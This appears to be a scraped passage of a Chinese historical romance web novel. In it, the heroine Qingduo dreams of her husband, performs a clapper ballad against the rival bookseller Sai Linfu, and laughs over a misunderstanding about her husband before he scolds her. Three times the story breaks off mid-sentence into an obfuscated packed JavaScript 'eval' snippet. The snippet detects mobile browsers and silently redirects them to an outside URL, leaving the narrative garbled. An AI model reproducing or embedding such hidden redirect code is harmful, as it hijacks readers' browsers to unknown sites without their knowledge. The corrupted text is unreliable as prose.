她重新躺下后心道:要不是她发现这事,差点就被卿卿糊弄过去了!原以为他是个一本正经的死心眼,没想到他也有狡黠心机的一面,哼,真是个“小坏蛋”! 闹了一天她早乏了,新床虽然陌生,倒头就沉沉睡去,做了一个香甜的梦:梦里她是像爹那样的大画家,一幅画就能卖至千金,很快,她就带着爹住上了大宅子——就像眼下曾家府邸,日子过得别说有多畅快了! 一日,爹找到她说:“阿照啊,其实你与曾正卿有婚约,只是曾家败落,好久没有联系。到底是成亲还是退婚,你自己看着办吧!” 画面一转,已是濛濛细雨中,她立在一户人家之外,那破茅草屋,看起来十分亲切,竟像是曾经住过许久似的,她望着屋顶心想,茅草这样稀疏,只怕会漏雨吧? 正想着,远处有人走来,她扭头一看,是一个眉清目朗的书生,瞧着模样,青朵暗暗点头。那人托着一个油纸包,向她走来,走近了行礼道:“不知姑娘是要找谁?” 青朵闻到熟悉的卤鸡腿味,光凭味道,就知道是巷口何叔自己卤的便宜货。 奇怪,自己怎么对这附近这么熟悉? 她目光盯着油纸包,随口说道:“你就是曾正卿吧?我是来履行婚约。” 他脸色一红,说道:“小生家境贫寒,恐无法迎娶姑娘。” "没事!"青朵小手一挥,“本小姐有钱,我可以迎娶你!” 于是敲敲打打,热热闹闹,轿子抬着“新夫”进门,青朵接过芳晴递来的秤杆,心里满是对新夫的满意,想来那些盲娶盲嫁的新人,此时心里一定忐忑万分,不像她,之前就验好货,更是自信满满。 盖头一寸寸挑起,青朵瞄着底下的人儿,越来越觉得不对劲,记得他不曾蓄须啊,怎么面前这人唇上,有像虾一样的胡须?! 不祥的预感漫上心头,青朵望着眼前的人目瞪口呆,手一动,秤杆砸到脚上。她抱着脚蹦跳,大喊道: “赛林甫!赛林甫!” 忽然觉得空气稀薄,那猩红色盖头飞过来遮在脸上,怎么揭也揭不开,牢牢地困住她,青朵像是沉入水中,喘不上气,她伸手一顿乱抓,忽觉头上一轻,束缚被人解开,空气涌入,有人一直晃动她,这才从噩梦中渐渐抽离。 青朵的心脏咚咚乱跳,她大口喘息,盯着推醒她的曾正卿,怨道:“你跑哪去了?” 曾正卿一愣,说道:“我一直在你身旁,夫人刚才做噩梦了。一直喊叫‘赛林甫’,是什么事?” 青朵呆了一下,思绪回转,想明白一切。她觉得“娶了赛林甫”的梦实在丢人,不愿告诉他,又觉得胸上沉沉的,低头一看,一坨被子压在胸口上,似是镇宅石狮胸前的铃铛。 曾正卿见她看向被子,伸手将它展开,重新盖在她身上,说道:“你睡觉不老实,被子裹在头上,口鼻闷在里面透不过气,也许如此,才会做噩梦。” 青朵叹了一口气,这也难怪,只是这梦也太歹毒了吧!她怕睡过去再次看到赛林甫那个“虾须”,小声道:“卿卿,你拉着我的手。”她要把他扯到梦里去! 青朵再次闭上眼睛,默默念叨着:“菩萨菩萨,我要的是这个‘小坏蛋’,可不是那个‘大坏蛋’!” 一番祈祷后,再次进入梦中,重回揭盖头前的时刻,芳晴递来秤杆,青朵并没有接过,她左看看,右瞧瞧,瞄瞄手,望望脚,身形似是差不多,她还是不放心,走近悄悄问道:“曾卿卿,是你吗?” 那人顶着红盖头微微点头,青朵放下心来,直接掀开,露出绯红双颊的郎君,青朵笑吟吟地看着他,心里满意极了。 屋里只剩下他们两人,曾正卿低声道:“夫人,休息吧!” 青朵蓦然敛笑,他怎么和那人一样,总想着这档子事!她不悦道:“我不休息,我要去画画了!” 谁说春宵一刻值千金?她的画才真正值千金呐! 她转身欲走,突然听曾正卿在身后缓缓说道:“夫人既然喜欢画,我倒是买来一幅画作,不知夫人是否有意同赏?” 画?青朵一时好奇,扭头见他不知从何处拿出一个卷轴,忍不住凑上去瞧,嗯,这是在床上…… 在床上? 青朵感觉耳根发烫,她感觉不妙,却又禁不住诱惑,她咽下口水,死死盯着画卷。随着画轴徐徐展开,床榻上坐着一男一女。男子背向她,月白寝衣松垮滑至腰间,红痣醒目地点在腰线;女子面朝她,身上的薄纱透着肌肤,些许风光在山茶花遮挡下若隐若现…… 她心中隐约有数,果然,待曾正卿将画卷完全展开,女子与男子双唇相接,那双眉眼,分明就是自己,男子也不用多说,就是曾正卿! 青朵浑身一抖,当时屋里明明只有他们两个,门窗也关得严严实实,是谁躲起来偷看?还画得这么像? 她结结巴巴地问道:“这,这,这是谁画的?” “夫人不知?”他轻笑道,“就是夫人啊!夫人不是善画春宫吗?” 青朵大吃一惊:“不不对,我上辈子画了,这辈子改邪归正,清清白白做人,本本分分画画,从未画过!你你你不要冤枉我!” 可不管她怎么解释,曾正卿都说她“不守妇道”,头也不回地离开,眼见到手的美夫君跑了,气得青朵在后面大喊大叫: “女子画春宫就是德行有亏,男子画怎么没人说他们‘不守男德’?明明都是人,凭什么用不同标准衡量?” “哼!你们不让我做,我偏偏要做!” …… 一声声激越的鸟鸣中,青朵睁开双眼,晨光如雾气般布满屋子,一时分不清是仍在梦中,还是已归现实。 青朵怔怔地望着床顶,回味着刚才的梦。她羡慕梦中的自己,既有能养活一家人的本事,还能无惧无畏地坚持自己。而现实的她,既没有这能力,也没这勇气。 她想起自己以前,不论是画春宫,还是跑画铺卖画,都偷偷摸摸,生怕被人撞见。毕竟秘画难登大雅之堂,何况当时她是个未出阁的姑娘。如今做了曾家少夫人,更是不便,此事若是捅出去,恐难被曾家容下,这样一来,她哪敢声张!只待练熟技艺,替爹了账,便再也不从事这行当! 只是…… 梦中共赏的那幅图画浮现在脑海,她忍不住偏头看向身边熟睡的曾正卿,他面朝自己侧卧,不知做了什么好梦,眉宇间卸去所有负担,唇边漾着浅浅笑意,宛若一池澄明的湖水。 以前她不懂这些男男女女卿卿我我有什么意思,只是照葫芦画瓢,照猫画虎,胡乱挣点银钱糊口罢了。青朵轻轻抚上他的面庞,如今倒识得几分情味,如果她不是卖给众人,只是画出来作为夫妻二人的私藏,待到白发苍苍之时,一起回忆旧日温情,岂不是妙不可言? 她越想越觉得有趣,恨不得马上就把昨日的画面落在笔端,当下爬起,从地上捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只是,只是,唉,如果说,让露浓姑娘嫁给我,需要十分把握的话,我现在也就一分,所以我跟她,也就只有一分亲戚关系。” 朱灿听了他这番言论,又好气又好笑,啐道:“真是个傻小子!”说完又叹了口气,那露浓姑娘知书达理,冰雪聪明,而自己这个弟弟,言行举止无不冒傻气,在她看来,恐怕是一分把握也没有! 朱灿不仅可怜起这个呆瓜弟弟,柔声道:“好吧,你说一分就一分吧,我去瞧一眼药好了没有,你再进去同她多说说话,增进感情。”说着便转身进厨房。 朱熠不太习惯姐姐突如其来的温柔,他摸了摸后脑勺,直觉得哪里不对,又说不上来。这时,后背被人拍了一下,青朵从他身后蹦了出来,眼中闪着促狭的光芒。 “朱熠哥哥,好久没去街上传播赛林甫的恶行了,露浓姐姐身上没全好,就你我二人同去吧!” “我不去!怪累的不说,上次因为这个,还连累了露浓姑娘,我不去!”朱熠拒绝道。 “什么嘛!做事要有始有终,再说了,你之前说过,史春咬死了不承认是受赛林甫指使,姐夫他们正盯着赛林甫呢,赛林甫此时绝对不敢轻举妄动,所以咱们要再接再厉,让他没有生意可做!” “不去。”她说的也有道理,但自己还是想多和露浓待一会儿。朱熠抬脚就要进屋,青朵急忙拦在他身前,可怜巴巴道: “姐夫~我可是你的‘一分亲戚’啊!” “你忍心让你瘦弱的妻妹,独自唱快板吗?” 44. 偶遇 朱熠伸手扯她的脸蛋,毫不留情地拆穿她:“‘瘦弱’?这不是肉嘟嘟的吗?” 青朵龇牙咧嘴:“松手!” 待朱熠松手后,青朵揉着脸蛋,瞪他一眼。朱熠嘲笑道:“之前就告诉过你,我可不吃这套!” “好好好,你们都不去,我自己去!”青朵赌气道。 话是怎么说,可转身走的几个碎步,恐怕蚂蚁也能追得上。她慢吞吞挪动,挪着挪着,偷偷回头看朱熠一眼,见他抱臂站在原地,一脸看好戏的表情,动也不动。 不经意间对上他的眼睛,青朵连忙转头,大声道:“我勇敢得很!什么都不怕!光天化日之下,我看谁敢把我抓走!” 身后传来“扑哧”的笑声,“早说你是怕得要我陪,不就结了?”朱熠从后面走来,在她头上一按,“走吧,不过事先说好,我可是为了保护你才去的,你欠我一次人情。” “哎哟!”真是的,他要么是摸乱自己的头发,要不就是弹她额头,眼下更离谱,把她脑袋当竹制跳蛙一样按来按去,当她的脑袋是玩具吗? 不过,他好不容易答应与自己同行,此时不是回嘴的时候,她这个英杰,最识时务。青朵追上去奉承道:“嘿嘿!我就知道姐夫不会不管我,玄虎大侠最侠肝义胆啦!” * 表演并不顺利,青朵的快板刚说了一半,人群中就有人大声道:“他们说的都是假的!” “是啊,我听到的也不是这么回事!”有人应和道。 “明明是那个叫露浓的,抄袭别人,还贼喊捉贼!” 朱熠喝道:“躲在人群中算什么好汉!有能耐你站出来对峙!”那人却不说话了,可青朵刚继续唱几句,他又阴阳怪气地说:“啧啧,这词乱七八糟,哼,我就不信写这破词的,能写出《画堂春》!” 青朵一听不乐意,愤愤道:“你颠倒是非就罢了,居然敢说本姑娘的词写得不好!朱熠!打他!” 不消她说,朱熠早就无法忍耐这人一次次侮辱露浓,那人刚说完话,朱熠就找到声音的来处,一把将他揪出来,那人瘦瘦高高,被朱熠薅住后脖,一起又被按下去。 青朵打量一番,肯定道:“瞧这虾蛄模样,定是‘虾’掌柜手下的虾兵蟹将!喏,你快如实招来,是不是赛林甫派你来搅局?” “虾蛄”冷笑道:“质疑你们的人,就一定是来搅局的?我只是看不惯你们搬弄是非的做派,如果这就叫‘搅局’,那好,我是在‘搅局’!” “他承认他是来搅局的!”青朵大声喊道。 “我不是这个意思!我质疑的是你们言语不实!并没承认是搅局!” 青朵眉头紧锁:“你怎么一会儿说是,一会说不是,”她面朝围观的人群,指着自己的脑袋:“他这里有点问题,大家千万不要相信他的话!” “你!”“虾蛄”涨红脸,想要挣扎起来,又被朱熠轻轻按下去,就像按下飘在水面上的葫芦瓢。他气恼道,“你血口喷人!脑袋有问题的是你!” “怪不得你快板词写得颠三倒四,你就是个糊涂透顶的人!” 青朵勃然大怒,直把快板往他手中塞:“你说我写的不好,你来,给你!你来骂赛林甫,我倒要听听,你骂他能多精彩!” “我才不骂呢!” “你不骂?”这回轮到青朵冷笑了,“连赛林甫都不骂,你一定是他派来搅局的人!” 天啊!“虾蛄”气得发抖,破口大骂。他算是领教了什么是“对牛弹琴”,不,她还不如牛,牛听不懂不过“哞哞”吃草,她不禁半听不听,听就只选自己想听的,加上随意曲解,绕来绕去,又把他绕回原地! 等等,她是不是故意耍他?他勉强抬起头,想发现些端倪,却见她低头翻找身上的口袋,嘴里念叨着:“奇怪,手帕哪去了?狗叫的好难听,都没有东西能堵上他的嘴。” 他闻言“汪”得更凶了,气急败坏道:“你们口口声声说露浓是原作者,可有证据?没有证据就是诬陷!” “当然有!露浓姑娘的手稿就是证据!”朱熠道。 “在哪?你敢拿出来给大家伙看看吗?” “敢啊。只是我为什么要听‘虾蛄’的话,很没面子的。”青朵摇头道。 “呵!”他冷冷道,“你们八成没有证据!”他大声道:“乡亲们!他们拿不出证据,都是胡说八……唔唔唔!” 朱熠俯身盖住他的嘴,怒道:“他句句都向着赛林甫说话,一定是他的人!” 当然!青朵难以置信地看着他,这从一开始就可以确定了!除了他们的敌人赛林甫,别人与他们无冤无仇,冷言冷语砸场子干什么! 她刚想挖苦他几句,余光瞥到围观人群里,有不少人开始对他们指指点点,有的甚至连连摇头,转身就走。讨论声传到他们耳朵里: “原来是编造的,唉,只要张一张嘴,就可以污人清白,要我说,真该被关起来打一顿!” “太可恶了!听说赛掌柜是看那姑娘可怜,才让她在店里帮忙,没想到她直接偷了稿子,说是自己写的!唉,世风日下啊!” 青朵与朱熠面面相觑,流言散播至此,就算把手稿取来,恐怕也难以证明露浓就是原作。刹那间,投向他们的尽是嫌恶目光,更有人怒不可遏,朝着他们的方向狠狠啐了口唾沫。 “露浓姑娘不是那种人!我以我‘玄虎侠’的名义担保!”朱熠急得辩解道。 这么说也没用啊!青朵无奈,可耳边的唾骂声却转了方向,起初骂的是他们仨,转眼就“戳”朱熠的脊梁骨,说他“花架子”,不过是有个好姐夫。她叹了口气,转移火力也算是派上点用场。 脑袋啊脑袋,你快点转!青朵心急如焚,可脑袋却在嗡嗡声中乱成一锅浓稠的浆糊,插根筷子也能牢牢立住。 “诸位言及那位姑娘窃走书稿,可有真凭实据吗?”突然间,一人朗声说道。 一句话问得众人做不得声,满场喧嚣瞬间哑了下去,青朵感激地望向声音来处,忽又惊愕失色,替他们说话的人,竟是曾正己。 * “小……”青朵生生憋下“小叔子”,改口道,“小书生说的对!”她环视一圈,有了助力,她打起精神说道:“你们刚才一个个说得跟真的似的,指责我无凭无据,那你们的证据又在何处?” 她抬眼扫过众人,目光所到之处尽是闪躲,她指着刚才叫嚣“露浓偷稿”的始作俑者,眉峰扬起:“证据呢?” “我……”那人顿了顿,抱臂理直气壮道,“我也有啊,只是跟你一样,不在手边。”他嗤笑一声,“就算你们有手稿,也不过是偷来的,能证明什么?大家伙儿,我说的对不对?”话音未落,已有数人轰然应和,带着其他人也跟着嘲笑青朵他们。 青朵清醒过来,绝不会像刚才那样被他们牵着鼻子走了。电光火石间,她心念扭转,与其和他们掰扯说不清的证据,不如直斥对方行径,昭示己方大义。 于是她正色道:“我夫君就是‘清源书籍铺’的东家曾正卿,他早就查明,赛林甫不是第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807129|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干这种缺德事,被骗取话本故事的也不只一人。我夫君心善,签下他们照料生计,我自当替他们出头讨还公道!” “倒是你们!”她冲着造谣的人冷笑道,“为虎作伥,正邪不分!上次把露浓姐姐抓走,逼着她承认抄书,她不肯你们就动私刑,现在又跑来给我们泼脏水,还有什么招数?来呀,使啊!” 青朵突然嗅了两下,捏住鼻子细声细语道:“什么味道?好臭!” 围观的人跟着闻了几下,不管是否闻到,就下意识捂住口鼻,那些人正纳闷什么臭味,就听青朵夸张道:“我知道啦!是塞林甫手下臭鱼烂虾的腐烂味!” “你!”就有人扯起袖子要上前动手,朱熠踏上前来,伸手一扯,将青朵拉到身后。“虾蛄”趁朱熠放手,一扭就窜进人群不见了。 “要打吗?我随时奉陪。”朱熠摆好拳势,喝道,“动手吧!” 这些人知晓朱熠的厉害,况且得了“清源书籍铺”的信儿,无意恋战,为首的一挥手,他们瞪了两人一眼,随他离开。周围的人见没了热闹看,除了曾正己,也都纷纷散去。 “小叔子,真是多亏了你,要不是你提醒,我差点儿着了他们的道,顺着他们的路子走偏了。”青朵叹气道,“你怎么在这?” “一家人何必客气。我也是路过,看到你在这,就瞧瞧发生了什么事。”正己道。他犹豫了一下,说,“只是……我哥哥是做经史书籍的生意,并不涉及笔记小说、话本一类,嫂子是不是听错了?” 青朵眨眨眼:“没有啊,他亲口告诉我,签下那些话本作者。” 曾正己正要回话,忽然有人在旁怯生生地插嘴道,“请问,‘清源书籍铺’还签人吗?” 三人循声望去,一个妇人打扮的女子垂头轻声说道: “我也被赛林甫骗了。” * 遇到正己,青朵就想着与他一同回家,不必麻烦朱熠,朱熠打量正己一眼,见他文文弱弱的样子,只怕真遇到危险,还得靠青朵的机灵劲救他。便说道:“来都来了,也不差走一趟了。” 三人穿过街巷,谈着刚才的事。青朵愁眉苦脸道:“唉,本想搞臭赛林甫的名声,让他做不了生意,只能妥协,可是引来的人,根本不关心事情的是非曲直,不过是来看热闹,就跟河边的芦苇似的,风往哪边刮,就朝哪边倒,有时是成事的助力,有时也会成为刺穿我们的利剑啊!” “怪不得卿卿之前不让我去,我这个法子确实不行。”她懊恼道。 “所谓‘众口毁誉,浮石沉木’,我倒觉得嫂子的做法有用,”曾正己安慰道,“你不先发制人,对方就会抢先出招。若是让他们的恶言占了先机,往后咱们可就要处处受制了。” “这个法子不仅见效慢,还耗精力体力,不行,我得另想个法子!”青朵直叹气。 朱熠一直没说话,此时却冷不丁冒出一句:“那是你夫君吗?” 两人抬头顺着朱熠的目光看去,果见曾正卿与一位身着锦缎的老者,立在店铺门口交谈。 “卿卿?”青朵眼睛一亮,就要跑到他身边去,蓦地瞥见他们身边还围着一群美男,花枝招展,一见仿佛就闻到他们身上的脂粉味儿。她不由自主仰头向上面牌匾望去,茫然道:“这是什么地方?怎么这么多漂亮小哥哥?” “相公馆!”朱熠鄙夷道。 青朵满脸惊愕,她怔怔地望向同样讶异的曾正己,话里带着颤音: “你……你哥哥……你哥哥他,他男女通吃?” 45. 解恨 还一口气“吃”这么多! 青朵揉了揉眼睛,不敢相信眼前看到的一切,环绕他身边那一圈美男幻化成一柄巨刃,把她的心剁碎,做成一盘鸡刨豆腐,咸滋滋。乱糟糟,团不成个头。 曾正卿似是感受到他们的目光,转头与她视线相对。目光交织的那一刹那,他猛地怔住,随后与身侧那人低语两句,拱手道别,大步流星朝他们走来。 青朵与朱熠不约而同后退一步,一副生怕沾上不洁的样子。 曾正卿:“……” “你们怎么在一起?”曾正卿扫过三人,问道。 “这个不重要,”青朵直勾勾盯着他,“倒是你,为什么和漂亮小哥哥们在一起?” “大哥可是恰谈生意?”曾正己忍不住替兄长说话。 曾正卿点头道:“正是,他邀我同去,我也是到了才知这处所在。” 朱熠兀自不信,反问:“只是谈生意?” 曾正卿不悦:“你当我是什么人?”继而转过头来,发现青朵也是一脸半信半疑的神色。他重重地叹了一口气。 自己最近真是时运不济,先是被夫人疑作房中无能,后又被人误会有龙阳之癖。纵使荷花出淤泥而不染,也躲不过“淤泥”蒙了世人的眼。 他瞥眼朱熠,欲言又止,此事还是私下慢慢与夫人解释吧。 * 曾家园中金桂花开,金黄的碎花攒成一团,细密地缀在叶片的缝隙中,撒下一路幽香。沿着荷花池一路行走,曾正卿兄弟二人走在前面,商量曾父忌日回老家拜祭的事宜,青朵跟在后面,只觉他们说话声像香气一样,吵得人心烦。 她故意顿住脚步,可曾正卿只顾与弟弟商谈,他两人并肩而行,头也不回,更不用说发现青朵没跟上。 哼!我倒要看看,他什么时候能发现我不在! 青朵手臂交叉抱在胸前,一只脚伸出不耐烦地拍打地面,却看到那两道身影越走越远。 啊?青朵震惊地放下手臂,自己再不跟上,都要看不见他们的背影了,她忍不住追着他们跑了几步,可还是不甘心,四下看看,不经意瞥见地上一个小石块,眼睛一亮。她拾起石头放在正前方,倒退几步,然后一个助跑,抬腿飞射—— “啊!”曾正己小腿吃痛,呼出声来,他与曾正卿都下意识回头望去。 青朵没想到自己踢偏,吓了一跳,见两道目光望过来,她立即装成什么也不知的样子,左右瞧瞧,忽地指着水池里的荷叶:“好大的叶子!” 曾正己奇道:“大嫂,你何时往那儿去了?” 青朵没好气道:“我当然是停下来了,难道还是走过去,又跑过来?我又不是疯子,跑来跑去干什么!不过你也算机敏,还能发现我不见了。” “不,我也是刚发……” “毕竟还是发现了,”青朵打断他,顺带狠狠剜了曾正卿一眼,“有的人,只怕此时还没发现呢!” 曾正己默默地看了一眼“有的人”,不想与兄长目光相对,从他面上看出一丝尴尬。此地不宜久留,曾正己知趣地转身悄悄离开。 待正己走后,曾正卿见青朵盯着他,稍一思索,踌躇道:“夫人可还是因为那件事……” “不,然,呢?”青朵一字一句道。 曾正卿叹了一口气,走到青朵身前,解释道:“我确是与陈老板商议商事,地点乃是他定的,他神神秘秘,说是要感谢我上次给他出的办法,直到随他到了地方,我方才知晓。” “嗯嗯嗯,”青朵用力点头,冷笑道,“是这样的,我爹当年也是这么说的,什么老朋友相邀,全是不得已,最后呢?一次变成两次,两次变成两个月,两个月变成半年,喏,怎么着?与珠姨住一起了!” “这世上总要女人从一而终,男子却可妻妾成群,在我这儿可不行!”青朵决然道,“若我喜欢多人,你也可以喜欢多个,若我只你一个,你也只能守我一个。我们之间,不可以有不公平的事!我容不下你身边有别的女人,男人更不行!” “我有了你,哪还需要旁人?”曾正卿无奈叹道,“你当真是误会我了!” 他想牵青朵的手,青朵背着手不肯:“什么误会,你倒是说清楚!” 曾正卿没法,连连叹气道:“夫人,我是被你害惨了!” “我?”青朵疑惑地指着自己。 “你头回唱快板那日,我和陈老板就在对街茶馆的二楼,将你们的表演看个一清二楚。” 曾正卿幽幽道:“你可记得,当时你是什么打扮?” 青朵皱着眉回想,随口答道:“小厮的装束啊!露浓姐说我是曾家夫人,不好太显眼,朱大哥就帮我想了新身份,怎么了?” 曾正卿神色不自然,低声道:“或许是那日我看你的样子,太过‘情不自禁’,陈老板未曾留意你是女子,竟误以为我有断袖之癖,今日特意招待我去那种地方……” 青朵听了目瞪口呆,瞬间爆发一阵笑声,“哎哟,哎哟,笑死我啦!你……你……哈哈哈哈!你,那你怎么,怎么发现的?” “我怎么会知道!”曾正卿怫然道,“我还以为是陈老板的特殊癖好,只能作陪!” 青朵笑弯了腰,她捧着肚子笑得上气不接下气:“哈哈哈,你,你,哈哈,然,然后呢?” “陈老板见我兴致阑珊,对他们避如蛇蝎,误以为我只钟情于固定的款,”曾正卿幽怨地瞧着她,青朵闻言抬头,笑出的泪水挂在睫毛上,她正想问陈老板以为他喜欢什么类型,就听他咬牙切齿道:“就命人着当日那款小厮衣衫,进来伺候我!” “咚!”曾正卿一惊,忙伸手去扶,可青朵已经一屁股坐在地上,笑成一团,一手按着肚子,另一只手使劲儿拍打地面,笑到最后竟剧烈咳嗽起来,肩头剧烈起伏。 曾正卿本就发窘,青朵的笑更让他浑身不适,可见她咳嗽,只能无奈地蹲下身子轻抚她的背,好不容易令她平稳呼吸,可她一抬头看到自己的脸,“扑哧”一声又大笑起来。 他下不来台,狼狈道:“夫人!” “哦,可怜的小卿!”青朵捧着他的脸,肆意揉捏,笑哈哈道,“一天被人冤枉两次,你太惨了吧!哈哈哈!” 曾正卿看着她幸灾乐祸的笑脸,慢条斯理道:“说到底,此事因你而起,你说,该不该补偿我?” 笑声戛然而止,青朵眼睛瞪得圆溜溜:“什么补偿?”她后知后觉地想起一事,马上捂住嘴巴,闷声闷气道:“难道你想‘二亲’?” “夫人想,我可不想。”青朵刚想反驳他自己并不想,突然被他抱起,听他说道,“只有夫人也出丑,方能解我心头之恨!” “我要把你扔到水里去!” 说着,他就抱着自己晃荡起来,作势要把自己扔出去,口中还喊着:“一!二!” 青朵吓得大喊大叫:“我不笑了不笑了!放我下来!放我下来!”曾正卿完全不理她,“三”一喊出口,青朵只觉得自己的身体朝水池荡过去,她紧紧搂着他的脖子放声尖叫:“不要!不要!啊——” 咦? 没有“扑通”声。 青朵悄悄睁开一只眼,看看身侧没有水,松了一口气,睁开另一只眼,对上曾正卿似笑非笑的神色。 他又故意吓唬她! 她恼羞成怒,狠狠地捶了他肩膀一拳:“曾正卿!” 他皱起眉头,呼道:“好痛!抱不住了!” “啊?”青朵瞬间感受到他抱着自己的手松开,吓得再次抱住他,腿顺势盘在他身上,化成青藤,死死缠住他身子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15856651|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到他的闷笑,她愣了一会儿,扭过头瞧瞧,才见他的手掌虚虚环在身下,虽未着力,但她断无跌落的可能,又是变着法儿逗她玩呢! 耳畔传来他爽朗的笑声,青朵更是气恼,胡乱捶了几下泄愤,气急败坏宣誓:“我唐青朵再信你,我就是小狗!” * 翌日青朵学画归家,一路上想代替唱快板的法子,想到头痛,也没有结果,却在自己的桌上看到更令她心烦的东西。 “《女诫》?” 这东西怎么会出现在她的桌上? 芳晴进屋见她拿着书发呆,说道:“这是少爷派人送来的,让少夫人好好读一读。” 青朵一拍脑袋,她想起来了!之前她装大家闺秀的时候,有天卿卿说这本书与她秉性相合,后来书没送来,卿卿也没再提这事,她早忘到脑后了。 同样被自己忘在脑后的,就是继续装扮“贤良淑德”,她蓦地一阵心虚,卿卿好久不提此事,现在却突然送书过来,难道是在暗示自己,前后不一致? 她二话不说,拉开椅子,坐在桌前,“虔诚”拜读,但此文实在与自己秉性相冲,什么“晚寝早作”,自己懒得很,是万万不可能“早作”;什么“女以弱为美”“生女如鼠,犹恐其虎”,她当然要当“老虎”,“老鼠”可是要被人人喊打的;更让她反感的还有“夫者,天也。天固不可逃,夫固不可离”…… 青朵把书“啪”地一声扔在一旁,烦躁道:“屁言屁语,熏得头晕!”她站起身,背着手在屋来回转圈,心烦意乱。 她是无法交差了,还不如实话实说,告诉卿卿自己根本不是什么淑女,是他想错了!他若是因此觉得受骗难过,大不了自己补偿他好了!不过就是“二亲三亲四亲五亲”,反正“一”都“一”了,也不怕什么“二三四五”! 想到这,她感到脸发烫,连忙用手捂住。最近怎么回事!明明人家都没有提出,倒是自己总是想到亲啊亲的! 坏朵! 她拼命晃头,用这种方式将“亲”的想法甩出去,别说还真有效,她踉跄一下扶住椅子,头晕乎乎的,确实无暇想其他的事。 嗯,还是画画吧!爹布置的任务还没完成,画完还能卖掉赚一百五,还有什么比钱更重要! 还是有比钱更重要的事,她一边晕染仕女的脸颊,一边忍不住又开始想大肆宣扬赛林甫丑事的办法。她咽不下这口气是一说,想到那日事后找到他们的女子,原来除了卿卿签下的,还有那么多人上当受骗,倘若自己能让更多人知道赛林甫的真面目,说不定日后就不会再有受害者。 对了,她停笔抬头,昨天忘了跟卿卿说那女子的事,正想着,外面传来脚步声,听到芳晴唤“少爷”,连忙搁下笔起身迎上去。 “我正要和你商量一件事,你就回来了,真是心有灵犀!”青朵欢笑着跑到他面前,却是一怔,曾正卿一脸凝重看着她。 青朵从未见过他的“严肃”,眨眨眼开口问道:“你,你怎么啦?怎么不高兴?” 他不答,反而质问道:“我问你,你昨天又去唱快板了?” 青朵愣了愣,想起他嘱咐自己不要再去,可自己没听他的,原来他是因为这事生气,不由得作贼心虚,小声道:“嗯……”但马上伸出一根手指,大声解释:“我就最后去这么一次,反正效果也不好,我打算……” “不是叫你不可再去!”曾正卿斥道。 青朵冷不防被吓得浑身一颤,手指还僵在半空,只怔怔地望向他。 卿卿……骂我? 刹那间,她脑袋一片空白,什么辩解的话都吐不出来。 他厉声道:“竟然还四处宣扬我签了那些人!哪有此事?你是嫌我的麻烦不够多吗?” “唐青朵!你太任性了!” 46. 男诫 青朵又是一哆嗦,原来卿卿生气的时候是这样子的。他的眉头皱起来了,鼻翼皱起来了,嘴角皱起来了,活脱脱是一个粗糙的老苦瓜,看着就命苦。 试问,是什么把卿卿这个谦谦如玉的君子变成这样? 是她是她,就是她! 青朵愧疚得稀里哗啦,她垂下头低声说道:“我错啦卿卿!我以后都不去唱快板了!” 曾正卿“哼”了一声:“你总是这样!做事之前什么都不想,劝告也不听,闯出乱子还得别人替你收场!” 这话就不对了!她怎么什么也不想?唱快板是她灵光一现的主意不假,但她可是和露浓姐、朱熠进行三方探讨,最后这个办法得到一致通过。 她刚要回嘴,转念一想,露浓姐确实因为这个主意被绑架,最后还是姐夫、卿卿、朱熠他们共同出力才解决,这么看来卿卿说的竟也不错! 青朵抬头瞄一眼他的苦瓜脸,迅速低下头,咽下反驳的话,手背在身后不吭声,左脚却忍不住在地上踢来踢去,身子跟着晃晃悠悠。 曾正卿看见她晃荡样子,就像小马驹前蹄刨地,明显不服,一股火气直奔天灵盖,就要像炮仗似的炸了,他怒道:“你不服气是不是?好,那你倒是说说,我哪里说得不对!” “我没有不服气!”青朵脚尖蹬着地面,闷声闷气道,“你哪里会不对呢!是我不对,不对的都是我!” 曾正卿瞪着她,叫她顶得说不出话来,他教导幼弟,正己素来敬他爱他,不敢违逆;身为曾家长子,如今的家主,仆从哪敢冲撞他?他是清源书籍铺的东家,手下的掌柜伙计恭顺听令,更不会有顶撞之举;日常出入往来,众人见他衣着谈吐自有风度,也多是礼遇有加。从他出生至今,敢这样吊儿郎当跟他说话的,放眼望去,仅此面前一个! 面前这个“小祖宗”,顺她者昌,逆她者“忘”,可是连自己亲爹的话都不放在心上,相比之下,他说的话又算哪碗冰酥酪!吃下去能咂个味道都算他运气好! 曾正卿闭一闭眼,怒火几欲再次发作,深吸一口气强压下来,沉声道:“我曾家书铺到吴州城,不过半载光景,还未立稳根基,论实力,比不上赛林甫的守真堂和陈记,更不用说我家就不做话本生意。一切事项,我都已托付给陈记书铺,没想到叫你背后捅刀!” “我为了满足你的心愿,成全你与露浓姑娘的友情,才出手相帮,并不愿连着自己的铺子都掺和进去,你倒好,当街一通胡言乱语,把我推了出来,相当于对着赛林甫宣战,叫我如何是好?” 